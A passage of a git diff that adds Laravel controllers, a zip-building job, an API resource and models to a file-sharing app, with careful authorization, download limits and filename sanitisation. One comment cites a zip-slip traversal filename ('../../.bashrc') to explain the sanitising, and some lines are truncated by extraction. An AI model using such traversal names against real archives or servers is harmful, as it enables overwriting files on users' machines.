} + + $folder = $this->folders->create($validated['name'], $parent); + + $this->activity->log(Action::FolderCreated, subject: $folder); + + return back()->with('success', __('Folder created.')); + } + + public function update(Request $request, Folder $folder): RedirectResponse + { + Gate::authorize('update', $folder); + + $validated = $request->validate(['name' => ['required', 'string', 'max:255']]); + + $folder->update(['name' => $validated['name']]); + + $this->activity->log(Action::FolderRenamed, subject: $folder); + + return back()->with('success', __('Folder renamed.')); + } + + public function destroy(Folder $folder): RedirectResponse + { + Gate::authorize('delete', $folder); + + $client = auth()->user(); + assert($client !== null); + + // Deleting a folder cascades to every file in its subtree, and a + // File's `deleted` hook removes the bytes from disk — there is no + // restore. Owning the folder is not authority over content someone + // else put in it: staff routinely upload into a client's own folder, + // and the client can see those files without being able to delete + // them individually (FilePolicy::delete denies clients outright). + // Refuse rather than silently destroy them. + $foreignFiles = File::query() + ->whereIn('folder_id', $folder->subtreeFolderIds()) + ->where(fn ($query) => $query->whereNull('uploaded_by')->orWhere('uploaded_by', '!=', $client->id)) + ->count(); + + if ($foreignFiles > 0) { + return back()->with('error', trans_choice( + 'This folder cannot be deleted: it holds :count file you did not upload.|This folder cannot be deleted: it holds :count files you did not upload.', + $foreignFiles, + ['count' => (string) $foreignFiles], + )); + } + + $name = $folder->name; + $parentId = $folder->parent_id; + + $this->folders->delete($folder); + + $this->activity->log(Action::FolderDeleted, context: ['name' => $name]); + + return redirect()->route('my-files.index', $parentId !== null ? ['folder' => $parentId] : []) + ->with('success', __('Folder deleted.')); + } +} diff --git a/app/Modules/Files/Http/Controllers/OrphanFilesController.php b/app/Modules/Files/Http/Controllers/OrphanFilesController.php new file mode 100644 index 00000000..6f97035e --- /dev/null +++ b/app/Modules/Files/Http/Controllers/OrphanFilesController.php @@ -0,0 +1,190 @@ +user(); + assert($user !== null); + + $validated = $request->validate(['search' => ['nullable', 'string', 'max:255']]); + $search = trim($validated['search'] ?? ''); + + // A full disk scan (potentially thousands of entries, across + // every scanned disk) happens once per request regardless of + // page — Storage::allFiles() has no server-side paging of its + // own — but only one page's worth of size()/lastModified()/ + // isAllowed() stat calls and JSON payload ever reaches the response. + $matches = $this->scanner->scan($user, $search !== '' ? $search : null); + + $page = Paginator::resolveCurrentPage(); + $lastPage = (int) max(1, ceil(count($matches) / self::PER_PAGE)); + + // A stale/guessed ?page= beyond what actually exists (e.g. after + // importing/deleting enough rows to shrink the list, or just + // typed by hand) would otherwise silently render an empty page + // instead of the real last one. + if ($page > $lastPage) { + return redirect()->route('orphan-files.index', array_filter([ + 'search' => $search !== '' ? $search : null, + 'page' => $lastPage > 1 ? $lastPage : null, + ])); + } + + $paginator = new LengthAwarePaginator( + array_slice($matches, ($page - 1) * self::PER_PAGE, self::PER_PAGE), + count($matches), + self::PER_PAGE, + $page, + ['path' => $request->url(), 'query' => $request->query()], + ); + + return Inertia::render('files/orphans', [ + 'orphans' => $paginator->items(), + 'pagination' => Pagination::meta($paginator), + 'search' => $search, + 'scanned_disks' => $this->scanner->scannedDisks(), + ]); + } + + public function import(Request $request): RedirectResponse + { + $user = $request->user(); + assert($user !== null); + + $validated = $this->validateItems($request); + + $imported = 0; + $importedFile = null; + + foreach ($validated['items'] as $item) { + $disk = Storage::disk($item['disk']); + + // Re-validate against a fresh scan — never trust a + // client-supplied disk/path just because an earlier scan + // listed it. + if (! $this->scanner->isImportable($user, $item['disk'], $item['path'])) { + continue; + } + + $importedFile = $this->storeFile->create( + uploader: $user, + originalName: basename($item['path']), + path: $item['path'], + mimeType: $disk->mimeType($item['path']) ?: 'application/octet-stream', + size: $disk->size($item['path']), + checksum: $this->checksumOf($disk, $item['path']), + folderId: null, + disk: $item['disk'], + action: Action::FileImported, + ); + + $imported++; + } + + // A single-file import (the per-row "Import" button) goes straight + // to the editor, same as a plain upload would — a bulk import has + // no single file to land on, so it stays on the list. + if ($imported === 1 && $importedFile !== null) { + return redirect()->route('files.edit', $importedFile)->with('success', __('File imported.')); + } + + return back()->with('success', trans_choice( + ':count file imported.|:count files imported.', + $imported, + ['count' => (string) $imported], + )); + } + + public function destroy(Request $request): RedirectResponse + { + $validated = $this->validateItems($request); + + $deleted = 0; + + foreach ($validated['items'] as $item) { + if (! $this->scanner->isOrphan($item['disk'], $item['path'])) { + continue; + } + + Storage::disk($item['disk'])->delete($item['path']); + + $this->activity->log(Action::OrphanFileDeleted, $request->user(), context: ['name' => basename($item['path'])]); + + $deleted++; + } + + return back()->with('success', trans_choice( + ':count file deleted.|:count files deleted.', + $deleted, + ['count' => (string) $deleted], + )); + } + + /** + * @return array{items: list} + */ + private function validateItems(Request $request): array + { + return $request->validate([ + 'items' => ['required', 'array', 'min:1'], + 'items.*.disk' => ['required', 'string', Rule::in(array_keys($this->scanner->scannedDisks()))], + 'items.*.path' => ['required', 'string'], + ]); + } + + /** + * Streamed rather than hash_file() on a local path — the only way to + * checksum a file that might live on a non-local disk (S3 has no + * local filesystem path to hand hash_file()). + */ + private function checksumOf(Filesystem $disk, string $path): string + { + $stream = $disk->readStream($path); + + if ($stream === null) { + return ''; + } + + $context = hash_init('sha256'); + hash_update_stream($context, $stream); + fclose($stream); + + return hash_final($context); + } +} diff --git a/app/Modules/Files/Http/Controllers/PublicShareController.php b/app/Modules/Files/Http/Controllers/PublicShareController.php new file mode 100644 index 00000000..27dfc928 --- /dev/null +++ b/app/Modules/Files/Http/Controllers/PublicShareController.php @@ -0,0 +1,111 @@ +where('token', $token)->first(); + $file = $shareLink?->shareable; + + if ($shareLink === null || ! $file instanceof File) { + return Inertia::render('share/show', ['status' => 'not_found']); + } + + // The file's own expiry counts too, not just the link's: expires_at + // is how access is revoked everywhere else (clients, public listing), + // so a link outliving it would be a way around that revocation. + if ($shareLink->isExpired() || $file->isExpired()) { + return Inertia::render('share/show', ['status' => 'expired']); + } + + // Two separate caps reach the same page: the link's own + // max_downloads, and the file's. A visitor here has no account, + // so the file's limit is measured against the whole file — see + // DownloadAllowance. + if ($shareLink->hasReachedLimit() || ! $this->allowance->allows($file, null)) { + return Inertia::render('share/show', ['status' => 'limit_reached']); + } + + $file->loadMissing('categories'); + + return Inertia::render('share/show', [ + 'status' => 'active', + 'file' => [ + 'original_name' => $file->original_name, + 'size' => $file->size, + // A share link is access to the file, so it shows the same + // labels every other surface does — see the notice on + // /categories, which promises exactly that. + 'categories' => $file->categories + ->map(fn (Category $category): array => [ + 'id' => $category->id, 'name' => $category->name, 'color' => $category->color, + ])->values()->all(), + ], + 'download_url' => route('share.download', $token), + ]); + } + + public function download(string $token): Response|RedirectResponse + { + $shareLink = ShareLink::query()->where('token', $token)->first(); + $file = $shareLink?->shareable; + + if ($shareLink === null || ! $file instanceof File || $shareLink->isExpired() || $file->isExpired()) { + return redirect()->route('share.show', $token); + } + + // Before the link's counter moves, not after: a download refused + // by the file's own limit must not spend one of the link's. + if (! $this->allowance->allows($file, null)) { + return redirect()->route('share.show', $token); + } + + // Atomic: only increments if still under the limit, closing the + // race between two simultaneous requests both passing the check. + $incremented = ShareLink::query() + ->whereKey($shareLink->id) + ->where(fn ($query) => $query->whereNull('max_downloads')->orWhereColumn('downloads_count', '<', 'max_downloads')) + ->increment('downloads_count'); + + if ($incremented === 0) { + return redirect()->route('share.show', $token); + } + + $this->activity->log(Action::ShareLinkDownloaded, subject: $file); + + return response('', 200, [ + 'X-Accel-Redirect' => '/protected-files/'.$file->path, + 'Content-Type' => $file->mime_type, + 'Content-Disposition' => ContentDisposition::attachment($file->original_name), + 'Content-Length' => (string) $file->size, + ]); + } +} diff --git a/app/Modules/Files/Http/Controllers/ShareLinksController.php b/app/Modules/Files/Http/Controllers/ShareLinksController.php new file mode 100644 index 00000000..846cec80 --- /dev/null +++ b/app/Modules/Files/Http/Controllers/ShareLinksController.php @@ -0,0 +1,110 @@ +validate([ + // Deliberately not `after:now`: that rule reads the bare + // YYYY-MM-DD the picker posts as midnight UTC, so a creator + // far enough east would be told today's date is in the past + // while it is plainly still today where they are. The check + // moves below, onto the instant the date actually resolves to. + 'expires_at' => ['nullable', 'date'], + 'max_downloads' => ['nullable', 'integer', 'min:1'], + // A custom token is optional — leave blank for a random one, + // same as before. Must not collide with the file's own + // public slug: the two live in different URL namespaces + // (/s/{token} vs the public group listing), but sharing the + // same string between them is confusing enough to reject. + // The token IS the authorization for /s/{token} — there is no + // second factor behind it — so it has to be long enough not to + // be guessable. 6 chars of [A-Za-z0-9_-] is ~36 bits, within + // reach of sustained guessing (the route's 30/min IP throttle + // is not a bound when the attacker has many IPs). Random tokens + // are Str::random(32); 12 is the floor for a chosen one. + 'token' => ['nullable', 'string', 'min:12', 'max:64', 'regex:/^[A-Za-z0-9_-]+$/', Rule::unique('share_links', 'token')], + ]); + + if (($validated['token'] ?? null) !== null && $validated['token'] === $file->slug) { + throw ValidationException::withMessages([ + 'token' => __('This link cannot match the file\'s own public URL slug.'), + ]); + } + + $user = $request->user(); + assert($user !== null); + + // End of that day in the creator's own zone — a link "expiring on + // the 12th" stays usable through the 12th, which is what they + // will have told the recipient. + $expiresAt = ($validated['expires_at'] ?? null) === null + ? null + : LocalDay::end($validated['expires_at'], $this->timezones->resolve($user)); + + if ($expiresAt !== null && $expiresAt->isPast()) { + throw ValidationException::withMessages([ + 'expires_at' => __('The expiry date must be in the future.'), + ]); + } + + ShareLink::query()->create([ + 'shareable_type' => $file->getMorphClass(), + 'shareable_id' => $file->id, + 'token' => $validated['token'] ?? Str::random(32), + 'created_by' => $user->id, + 'expires_at' => $user->can('set_file_expiration_date') ? $expiresAt : null, + 'max_downloads' => $user->can('limit_downloads') ? $validated['max_downloads'] ?? null : null, + ]); + + $this->activity->log(Action::ShareLinkCreated, subject: $file); + + return back()->with('success', __('Public link created.')); + } + + public function destroy(ShareLink $shareLink): RedirectResponse + { + $file = $shareLink->shareable; + abort_unless($file instanceof File, 404); + + Gate::authorize('update', $file); + + $shareLink->delete(); + + $this->activity->log(Action::ShareLinkRevoked, subject: $file); + + return back()->with('success', __('Public link revoked.')); + } +} diff --git a/app/Modules/Files/Http/Controllers/UploadSettingsController.php b/app/Modules/Files/Http/Controllers/UploadSettingsController.php new file mode 100644 index 00000000..7052aa5d --- /dev/null +++ b/app/Modules/Files/Http/Controllers/UploadSettingsController.php @@ -0,0 +1,83 @@ +settings->get(Setting::AllowedUploadExtensions); + + return Inertia::render('system/settings/uploads', [ + 'max_file_size_mb' => $this->settings->get(Setting::MaxFileSizeMb), + 'upload_type_restriction' => $this->settings->get(Setting::UploadTypeRestriction), + 'allowed_upload_extensions' => is_array($allowedExtensions) ? $allowedExtensions : [], + ]); + } + + public function update(Request $request): RedirectResponse + { + $validated = $request->validate([ + 'max_file_size_mb' => ['required', 'integer', 'min:0', 'max:1048576'], + 'upload_type_restriction' => ['required', Rule::enum(UploadTypeRestriction::class)], + 'allowed_upload_extensions' => ['required', 'array', 'min:1'], + 'allowed_upload_extensions.*' => ['string', 'max:15', 'regex:/^[a-z0-9]+$/i'], + ]); + + $allowedExtensions = array_values(array_unique(array_map( + fn (string $extension): string => strtolower($extension), + $validated['allowed_upload_extensions'], + ))); + + $this->settings->set(Setting::MaxFileSizeMb, (int) $validated['max_file_size_mb']); + $this->settings->set(Setting::UploadTypeRestriction, $validated['upload_type_restriction']); + $this->settings->set(Setting::AllowedUploadExtensions, $allowedExtensions); + + $this->activity->log(Action::SettingsUpdated, context: ['section' => 'uploads']); + + $dangerous = array_intersect($allowedExtensions, self::DANGEROUS_EXTENSIONS); + + if ($dangerous !== []) { + return back()->with('success', __( + 'Upload settings saved. Warning: :extensions can be dangerous to allow — only keep them on the list if you understand the risk.', + ['extensions' => implode(', ', $dangerous)], + )); + } + + return back()->with('success', __('Upload settings saved.')); + } +} diff --git a/app/Modules/Files/Http/Controllers/ZipDownloadsController.php b/app/Modules/Files/Http/Controllers/ZipDownloadsController.php new file mode 100644 index 00000000..3cb45fb0 --- /dev/null +++ b/app/Modules/Files/Http/Controllers/ZipDownloadsController.php @@ -0,0 +1,201 @@ +user(); + assert($user !== null); + + $validated = $request->validate([ + 'file_ids' => ['array'], + 'file_ids.*' => ['integer'], + 'folder_ids' => ['array'], + 'folder_ids.*' => ['integer'], + ]); + + $requestedFileIds = array_map('intval', $validated['file_ids'] ?? []); + $requestedFolderIds = array_map('intval', $validated['folder_ids'] ?? []); + + abort_if($requestedFileIds === [] && $requestedFolderIds === [], 422, __('Select at least one file or folder.')); + + // Silently drop anything the requester isn't allowed to see — + // never reveal that a hidden item exists, matching this app's + // existing listing/visibility conventions. + $files = File::query()->whereIn('id', $requestedFileIds)->get() + ->filter(fn (File $file): bool => Gate::forUser($user)->allows('view', $file)); + + $folders = Folder::query()->whereIn('id', $requestedFolderIds)->get() + ->filter(fn (Folder $folder): bool => $user->isClient() + ? Folder::query()->whereKey($folder->id)->visibleToClient($user)->exists() + : Gate::forUser($user)->allows('view', $folder)); + + abort_if($files->isEmpty() && $folders->isEmpty(), 422, __('None of the selected items could be found.')); + + // A file whose download limit is spent is visible but not + // takeable, so it drops out here rather than at the Gate above. + // Told apart from "not found" deliberately: the difference + // between a file that isn't there and one they have already had + // as many times as they were meant to is the whole point of not + // hiding exhausted files. + $selected = $files->count(); + $files = $files->filter(fn (File $file): bool => $this->allowance->allows($file, $user)); + + abort_if( + $files->isEmpty() && $folders->isEmpty() && $selected > 0, + 422, + __('Those files have reached their download limit.'), + ); + + // Holding a folder is not the same as being able to read everything + // in it, so the count uses the same per-file filter the job applies + // when it actually builds the archive — otherwise the MAX_FILES cap + // and the "empty folder" check below would both be measuring a set + // larger than what the user will receive. + $visible = $this->viewable->for($user); + + $fileCount = $files->count() + $folders->sum( + fn (Folder $folder): int => (clone $visible)->whereIn('folder_id', $folder->subtreeFolderIds())->count(), + ); + + abort_if($fileCount === 0, 422, __('The selected folders are empty.')); + abort_if($fileCount > self::MAX_FILES, 422, __('Too many files selected. Choose a smaller selection and try again.')); + + $zipDownload = ZipDownload::query()->create([ + 'requested_by' => $user->id, + 'status' => ZipDownload::STATUS_PENDING, + 'file_ids' => $files->pluck('id')->values()->all(), + 'folder_ids' => $folders->pluck('id')->values()->all(), + 'file_count' => $fileCount, + ]); + + BuildZipDownloadJob::dispatch($zipDownload->id); + + return response()->json(['id' => $zipDownload->id]); + } + + public function show(Request $request, ZipDownload $zipDownload): JsonResponse + { + $user = $request->user(); + abort_unless($user !== null && $zipDownload->requested_by === $user->id, 404); + + return response()->json([ + 'status' => $zipDownload->status, + 'file_count' => $zipDownload->file_count, + 'error' => $zipDownload->status === ZipDownload::STATUS_FAILED ? $zipDownload->error : null, + 'skipped_files' => $zipDownload->skipped_files ?? [], + ]); + } + + public function download(Request $request, ZipDownload $zipDownload): Response + { + $user = $request->user(); + abort_unless($user !== null && $zipDownload->requested_by === $user->id, 404); + $path = $zipDownload->path; + abort_unless($zipDownload->status === ZipDownload::STATUS_READY && $path !== null, 404); + + // Only the first time. Re-fetching one prepared archive is the + // same delivery, not a fresh download of everything inside it. + if ($zipDownload->delivered_at === null) { + $this->logContainedDownloads($zipDownload, $user); + $zipDownload->forceFill(['delivered_at' => now()])->save(); + } + + $size = Storage::disk('files')->size($path); + + return response('', 200, [ + 'X-Accel-Redirect' => '/protected-files/'.$path, + 'Content-Type' => 'application/zip', + 'Content-Disposition' => ContentDisposition::attachment($this->filenameFor($zipDownload)), + 'Content-Length' => (string) $size, + ]); + } + + /** + * Every file actually bundled gets a FileDownloaded entry — otherwise + * a file's download history/count would silently miss zip downloads. + */ + private function logContainedDownloads(ZipDownload $zipDownload, User $requester): void + { + // Same per-file filter the job used to decide what actually went + // into the archive, so the log records what was really downloaded + // rather than everything that happened to sit in the folder. + $visible = $this->viewable->for($requester); + $fileIds = collect($zipDownload->file_ids); + + foreach ($zipDownload->folder_ids as $folderId) { + $folder = Folder::query()->find($folderId); + + if ($folder !== null) { + $fileIds = $fileIds->merge((clone $visible)->whereIn('folder_id', $folder->subtreeFolderIds())->pluck('id')); + } + } + + // Whatever the job left out is not in the archive and must not + // be logged as delivered — otherwise a file refused for reaching + // its limit would be recorded as downloaded again, pushing it + // further past it. + $skipped = collect($zipDownload->skipped_files ?? [])->pluck('id')->all(); + + foreach ((clone $visible)->whereIn('id', $fileIds->unique())->whereNotIn('id', $skipped)->get() as $file) { + $this->activity->log(Action::FileDownloaded, subject: $file); + } + } + + private function filenameFor(ZipDownload $zipDownload): string + { + if (count($zipDownload->folder_ids) === 1 && $zipDownload->file_ids === []) { + $folder = Folder::query()->find($zipDownload->folder_ids[0]); + + if ($folder !== null) { + // Folder names reach this header too, and a client can name + // their own folders — same reasoning as + // StoreUploadedFile::sanitizeFilename(). Quoted-string + // escaping happens in ContentDisposition, not here. + return StoreUploadedFile::sanitizeFilename($folder->name).'.zip'; + } + } + + return 'download.zip'; + } +} diff --git a/app/Modules/Files/Http/Resources/Api/FileResource.php b/app/Modules/Files/Http/Resources/Api/FileResource.php new file mode 100644 index 00000000..5dafe710 --- /dev/null +++ b/app/Modules/Files/Http/Resources/Api/FileResource.php @@ -0,0 +1,128 @@ +toArray() here: that + * would publish whatever the next migration adds, and two of this model's + * columns must not leave the server at all — + * + * - `path` and `disk` describe where the bytes physically live. A caller + * has no use for them (downloads go through the download endpoint, + * which authorizes and then hands off), and publishing them leaks the + * storage layout, which is exactly the map you would want before + * attempting to reach the bytes another way. + * - `checksum` is included deliberately, since verifying an integration's + * own download is a real use case, and it reveals nothing about + * location. + */ +class FileResource extends JsonResource +{ + /** + * @return array + */ + public function toArray(Request $request): array + { + return [ + 'id' => $this->id, + 'name' => $this->name, + 'slug' => $this->slug, + 'description' => $this->description, + 'original_name' => $this->original_name, + 'mime_type' => $this->mime_type, + 'size' => $this->size, + 'checksum' => $this->checksum, + 'public' => $this->public, + // Only consulted while the installation's comment setting is + // "only files marked as commentable"; published anyway, since a + // caller that sets it wants to read it back. + 'commentable' => $this->commentable, + 'expires_at' => $this->expires_at?->toIso8601String(), + 'expired' => $this->isExpired(), + + // Null when the file may be downloaded any number of times. + // `download_limit_scope` says what the number counts — + // "total" across everyone, or "per_user" for each person + // separately. It is always one of those two, and is + // meaningless while the limit is null. + 'download_limit' => $this->download_limit, + 'download_limit_scope' => ($this->download_limit_scope ?? DownloadLimitScope::Total)->value, + // The file's total downloads. Under a per_user limit this is + // still the total, since "how much has this caller used" is a + // different number for every caller. + 'downloads_used' => $this->downloads()->count(), + 'created_at' => $this->created_at?->toIso8601String(), + 'updated_at' => $this->updated_at?->toIso8601String(), + + // True when this file is a new version of an earlier one. A + // revision is always shared with the same people as the file it + // replaces, so it has no recipients of its own: assigning it + // returns 422, and `sharing_root_id` names the file to assign + // instead. + 'is_revision' => $this->isRevision(), + + // The oldest file in this version chain — the one whose + // recipients govern the whole chain. Null when this file is not + // a revision. + 'sharing_root_id' => $this->version_root_id, + + // The file this one replaces. Null when there is none, or when + // it is one you cannot see. + 'previous_version' => $this->whenLoaded('previousVersion', fn (): ?array => $this->previousVersion === null ? null : [ + 'id' => $this->previousVersion->id, + 'name' => $this->previousVersion->name, + ]), + + // The file that replaced this one, on the same terms. + 'next_version' => $this->whenLoaded('nextVersion', fn (): ?array => $this->nextVersion === null ? null : [ + 'id' => $this->nextVersion->id, + 'name' => $this->nextVersion->name, + ]), + + 'folder' => $this->whenLoaded('folder', fn (): ?array => $this->folder === null ? null : [ + 'id' => $this->folder->id, + 'name' => $this->folder->name, + ]), + + // Name only. The uploader is a user record; their email address + // is not part of what "this file exists" needs to say. + 'uploaded_by' => $this->whenLoaded('uploader', fn (): ?array => $this->uploader === null ? null : [ + 'id' => $this->uploader->id, + 'name' => $this->uploader->name, + ]), + + 'categories' => $this->whenLoaded('categories', fn (): array => $this->categories + ->map(fn ($category): array => [ + 'id' => $category->id, + 'name' => $category->name, + ]) + ->all()), + + 'assignments' => $this->whenLoaded('assignments', fn (): array => $this->assignments + ->map(fn (FileAssignment $assignment): array => [ + 'type' => $assignment->assignable_type === Group::class ? 'group' : 'client', + 'id' => $assignment->assignable_id, + // getAttribute() rather than ->name: the relation is a + // MorphTo over User|Group, so the property is only + // knowable at runtime. Both targets carry a name. + 'name' => $assignment->assignable?->getAttribute('name'), + ]) + ->all()), + + 'links' => [ + 'download' => route('api.files.download', $this->resource), + ], + ]; + } +} diff --git a/app/Modules/Files/Jobs/BuildZipDownloadJob.php b/app/Modules/Files/Jobs/BuildZipDownloadJob.php new file mode 100644 index 00000000..e14f8a59 --- /dev/null +++ b/app/Modules/Files/Jobs/BuildZipDownloadJob.php @@ -0,0 +1,281 @@ +find($this->zipDownloadId); + + if ($zipDownload === null) { + return; + } + + // Authorization is re-derived here, against the requester, rather + // than trusted from what the controller stored: a folder id only + // says "this user may open this folder", never "this user may read + // everything inside it" (an expired file is invisible to a client + // even in a folder they hold). Re-deriving also closes the gap + // between request time and run time — access can be revoked while + // the job sits in the queue. + $requester = User::query()->find($zipDownload->requested_by); + + if ($requester === null) { + $zipDownload->update([ + 'status' => ZipDownload::STATUS_FAILED, + 'error' => 'The requesting account no longer exists.', + ]); + + return; + } + + $visible = app(ViewableFileScope::class)->for($requester); + $allowance = app(DownloadAllowance::class); + + try { + $relativePath = 'zips/'.$zipDownload->id.'.zip'; + Storage::disk('files')->makeDirectory('zips'); + $absolutePath = Storage::disk('files')->path($relativePath); + + $zip = new ZipArchive; + if ($zip->open($absolutePath, ZipArchive::CREATE | ZipArchive::OVERWRITE) !== true) { + throw new \RuntimeException('Could not create the zip archive.'); + } + + $usedNames = []; + $totalSize = 0; + $tempFiles = []; + $skipped = []; + + // Counted rather than derived from $usedNames, which also + // holds the folder entry names. + $added = 0; + + foreach ((clone $visible)->whereIn('id', $zipDownload->file_ids)->get() as $file) { + // Re-checked here for the same reason visibility is: the + // archive is built some time after it was asked for, and + // the allowance may have been spent in between. + if (! $allowance->allows($file, $requester)) { + $skipped[] = ['id' => $file->id, 'name' => $file->name]; + + continue; + } + + $entryName = $this->dedupeName($usedNames, $this->entrySegment($file->original_name)); + $zip->addFile($this->localPathFor($file, $tempFiles), $entryName); + $totalSize += $file->size; + $added++; + } + + foreach (Folder::query()->whereIn('id', $zipDownload->folder_ids)->get() as $folder) { + $totalSize += $this->addFolder($zip, $folder, $requester, $usedNames, $tempFiles, $visible, $skipped, $added); + } + + $zip->close(); + + foreach ($tempFiles as $tempFile) { + @unlink($tempFile); + } + + $zipDownload->update([ + 'status' => ZipDownload::STATUS_READY, + 'path' => $relativePath, + 'total_size' => $totalSize, + 'file_count' => $added, + 'skipped_files' => $skipped === [] ? null : $skipped, + ]); + } catch (Throwable $e) { + foreach ($tempFiles ?? [] as $tempFile) { + @unlink($tempFile); + } + + $zipDownload->update([ + 'status' => ZipDownload::STATUS_FAILED, + 'error' => $e->getMessage(), + ]); + } + } + + /** + * A local-disk file is added by its real path (fast path). Anything + * else gets stream-copied to a temp file first — ZipArchive::addFile() + * needs a real local path, it can't read a remote stream directly. + * Temp files are collected and cleaned up by the caller once the zip + * is closed (ZipArchive keeps the path open until then). + * + * @param array $tempFiles + */ + private function localPathFor(File $file, array &$tempFiles): string + { + if ($file->disk === 'files') { + return Storage::disk('files')->path($file->path); + } + + $tempPath = tempnam(sys_get_temp_dir(), 'zip-src-'); + + if ($tempPath === false) { + throw new \RuntimeException('Could not create a temp file for '.$file->original_name); + } + + $stream = Storage::disk($file->disk)->readStream($file->path); + $out = fopen($tempPath, 'wb'); + + if ($stream === null || $out === false) { + throw new \RuntimeException('Could not read '.$file->original_name.' from its storage disk.'); + } + + stream_copy_to_stream($stream, $out); + fclose($out); + + if (is_resource($stream)) { + fclose($stream); + } + + $tempFiles[] = $tempPath; + + return $tempPath; + } + + /** + * @param array $usedNames + * @param array $tempFiles + * @param Builder $visible every file the requester may read + * @param list $skipped + */ + private function addFolder(ZipArchive $zip, Folder $folder, User $requester, array &$usedNames, array &$tempFiles, Builder $visible, array &$skipped, int &$added): int + { + $allowance = app(DownloadAllowance::class); + + $subtreeIds = $folder->subtreeFolderIds(); + /** @var Collection $foldersById */ + $foldersById = Folder::query()->whereIn('id', $subtreeIds)->get()->keyBy('id'); + $rootEntryName = $this->dedupeName($usedNames, $this->entrySegment($folder->name)); + $totalSize = 0; + + foreach ((clone $visible)->whereIn('folder_id', $subtreeIds)->get() as $file) { + // Holding the folder does not entitle the requester to a file + // inside it whose own allowance is spent — same reason the + // per-file visibility filter is re-derived rather than + // inherited from the folder. + if (! $allowance->allows($file, $requester)) { + $skipped[] = ['id' => $file->id, 'name' => $file->name]; + + continue; + } + + $relative = $this->relativeFolderPath($folder, $foldersById, $file->folder_id); + $entryPath = implode('/', array_filter([$rootEntryName, $relative, $this->entrySegment($file->original_name)], fn (string $segment): bool => $segment !== '')); + $entryPath = $this->dedupeName($usedNames, $entryPath); + $zip->addFile($this->localPathFor($file, $tempFiles), $entryPath); + $totalSize += $file->size; + $added++; + } + + return $totalSize; + } + + /** + * @param Collection $foldersById Every folder in the root's subtree, keyed by id. + */ + private function relativeFolderPath(Folder $root, Collection $foldersById, ?int $folderId): string + { + if ($folderId === null || $folderId === $root->id) { + return ''; + } + + $segments = []; + $current = $foldersById->get($folderId); + + while ($current !== null && $current->id !== $root->id) { + array_unshift($segments, $this->entrySegment($current->name)); + $current = $current->parent_id !== null ? $foldersById->get($current->parent_id) : null; + } + + return implode('/', $segments); + } + + /** + * One safe path component for the archive. An uploader chooses + * original_name freely (validated only for length), so it must never be + * able to steer where an entry lands: `../../.bashrc` as a zip entry + * name is the classic "zip slip", and while modern extractors refuse + * traversal entries, this app should not be the one producing them. + * Directory separators are stripped, not escaped, since a filename is + * a single component by definition. + */ + private function entrySegment(string $name): string + { + $name = str_replace(['/', '\\', "\0"], '_', $name); + $name = trim(preg_replace('/^\.+/', '', $name) ?? $name); + + return $name === '' ? 'file' : $name; + } + + /** + * @param array $usedNames + */ + private function dedupeName(array &$usedNames, string $path): string + { + if (! in_array($path, $usedNames, true)) { + $usedNames[] = $path; + + return $path; + } + + $info = pathinfo($path); + $dir = isset($info['dirname']) && $info['dirname'] !== '.' ? $info['dirname'].'/' : ''; + $filename = $info['filename']; + $extension = isset($info['extension']) ? '.'.$info['extension'] : ''; + + $i = 2; + do { + $candidate = "{$dir}{$filename} ({$i}){$extension}"; + $i++; + } while (in_array($candidate, $usedNames, true)); + + $usedNames[] = $candidate; + + return $candidate; + } +} diff --git a/app/Modules/Files/Models/Category.php b/app/Modules/Files/Models/Category.php new file mode 100644 index 00000000..83892464 --- /dev/null +++ b/app/Modules/Files/Models/Category.php @@ -0,0 +1,31 @@ + + */ + public function files(): BelongsToMany + { + return $this->belongsToMany(File::class)->withTimestamps(); + } +} diff --git a/app/Modules/Files/Models/File.php b/app/Modules/Files/Models/File.php new file mode 100644 index 00000000..05dbb24c --- /dev/null +++ b/app/Modules/Files/Models/File.php @@ -0,0 +1,434 @@ + */ + use HasFactory; + + use HasUniqueSlug; + use SoftDeletes; + + protected $guarded = []; + + /** + * Laravel derives a factory's name by stripping the App\Models prefix, + * which this module-namespaced model does not have — so name it here + * rather than have the lookup miss. + */ + protected static function newFactory(): FileFactory + { + return FileFactory::new(); + } + + protected function casts(): array + { + return [ + 'public' => 'boolean', + 'commentable' => 'boolean', + 'expires_at' => 'datetime', + 'download_limit' => 'integer', + // Nullable in PHP but not in the database: the column has a + // default, which Eloquent does not apply to a model it has + // not read back. Anything presenting the scope falls back to + // Total rather than publishing a null for a field that is + // only ever one of two strings. + 'download_limit_scope' => DownloadLimitScope::class, + ]; + } + + protected static function slugFallback(): string + { + return 'file'; + } + + protected static function booted(): void + { + // Soft-deleting a file is the only user-facing "delete" there is — + // nothing serves a trashed file's bytes (route-model binding + // already 404s every route for it) and there's no restore + // feature, so there's no reason to keep them. Fires on any future + // forceDelete() too; harmless either way. + static::deleted(function (File $file): void { + // Before the bytes go: a trashed row still occupies its + // predecessor's unique previous_file_id slot, so a chain that + // is not repaired here can never be re-linked. Runs first + // because it needs the row's own pointers intact. + app(FileVersions::class)->detachOnDelete($file); + + app(FileDiskCleanup::class)->delete($file); + }); + } + + /** + * @return BelongsTo + */ + public function uploader(): BelongsTo + { + return $this->belongsTo(User::class, 'uploaded_by'); + } + + /** + * @return BelongsTo + */ + public function folder(): BelongsTo + { + return $this->belongsTo(Folder::class); + } + + /** + * @return HasMany + */ + public function assignments(): HasMany + { + return $this->hasMany(FileAssignment::class); + } + + /** + * The file this one revises, if any. + * + * Branch on this relation, never on the previous_file_id column: the + * column stays populated after its target is trashed, the relation + * correctly resolves to null (SoftDeletes' global scope applies here). + * Every display path must go through it or through + * Versions\FileVersionLinks, which does. + * + * @return BelongsTo + */ + public function previousVersion(): BelongsTo + { + return $this->belongsTo(File::class, 'previous_file_id'); + } + + /** + * The file that revises this one. At most one, enforced by the unique + * index on previous_file_id — that is what keeps a version history a + * straight line instead of a tree. + * + * @return HasOne + */ + public function nextVersion(): HasOne + { + return $this->hasOne(File::class, 'previous_file_id'); + } + + /** + * @return BelongsTo + */ + public function versionRoot(): BelongsTo + { + return $this->belongsTo(File::class, 'version_root_id'); + } + + /** + * Whether this file is a revision of an earlier one — and therefore + * owns no recipients of its own (see sharingOwnerId). + * + * Deliberately reads the column rather than the relation: a revision + * whose root was trashed is not thereby promoted to a root, and + * version_root_id is maintained eagerly on delete (detachOnDelete) + * precisely so no query has to chase a trashed row to find out. + */ + public function isRevision(): bool + { + return $this->version_root_id !== null; + } + + /** + * The file whose file_assignments rows decide who may see this one — + * itself if it is a root, otherwise the oldest file in its chain. + * + * A revision inherits its recipients rather than holding copies, so + * the two can never disagree about who has access. This is the single + * definition of that rule; SharingIdentity is its SQL twin. + */ + public function sharingOwnerId(): int + { + return $this->version_root_id ?? $this->id; + } + + /** + 